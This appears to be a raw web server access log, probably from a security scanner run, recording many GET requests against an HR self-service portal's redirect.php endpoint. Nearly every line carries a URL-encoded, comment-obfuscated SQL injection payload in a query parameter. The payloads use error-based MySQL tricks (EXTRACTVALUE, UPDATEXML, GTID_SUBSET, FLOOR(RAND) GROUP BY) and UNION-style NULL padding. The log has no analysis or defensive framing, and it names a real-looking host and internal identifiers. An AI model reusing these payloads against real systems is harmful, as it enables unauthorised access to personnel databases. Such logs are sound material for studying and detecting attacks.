100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53506f77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6a4c54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x33783968%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79506345%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgVIk&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x33783968%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79506345%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgVIk&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x62547751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3936316f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FOmzV&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x62547751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3936316f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FOmzV&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x486c717a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394c5272%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fhn5c&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x486c717a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394c5272%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fhn5c&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x334e7937%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3568346e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FATCY%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x334e7937%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3568346e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FATCY%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x56417578%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a345634%29%2C6420%29--%2F%2A%2A%2FiBcg&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x56417578%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a345634%29%2C6420%29--%2F%2A%2A%2FiBcg&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x45754557%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4873364c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCtx4%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48454455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336b4969%29%29%2C1%29--%2F%2A%2A%2Fd94g&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48454455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336b4969%29%29%2C1%29--%2F%2A%2A%2Fd94g&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x77496172%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e383667%29%2C6420%29--%2F%2A%2A%2FVXTJ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x77496172%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e383667%29%2C6420%29--%2F%2A%2A%2FVXTJ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x51324747%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70626e56%29%29--%2F%2A%2A%2FT7vo&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x51324747%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70626e56%29%29--%2F%2A%2A%2FT7vo&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c7a366d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73746b4f%29%29--%2F%2A%2A%2Fh8qp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c7a366d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73746b4f%29%29--%2F%2A%2A%2Fh8qp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5364774d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52614379%29%2C5431%29--%2F%2A%2A%2F9x0z&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5364774d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52614379%29%2C5431%29--%2F%2A%2A%2F9x0z&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63656a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a563347%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCkES%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63656a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a563347%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCkES%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d67636d%2C%28NULL%29%2C0x6b4e3135%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F6NEz%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d67636d%2C%28NULL%29%2C0x6b4e3135%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F6NEz%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a766c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3548464f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FIqDk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a766c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3548464f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FIqDk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70324541%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e636c38%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F44tV&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70324541%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e636c38%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F44tV&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5051434c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36583279%29%2C5431%29--%2F%2A%2A%2Fejej&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5051434c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36583279%29%2C5431%29--%2F%2A%2A%2Fejej&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x51413869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e787630%29%2C6420%29--%2F%2A%2A%2Fezv5&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x51413869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e787630%29%2C6420%29--%2F%2A%2A%2Fezv5&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x34654436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4744354b%29%2C6420%29--%2F%2A%2A%2FO1rF&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x34654436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4744354b%29%2C6420%29--%2F%2A%2A%2FO1rF&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4567466a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344f304c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4567466a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344f304c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
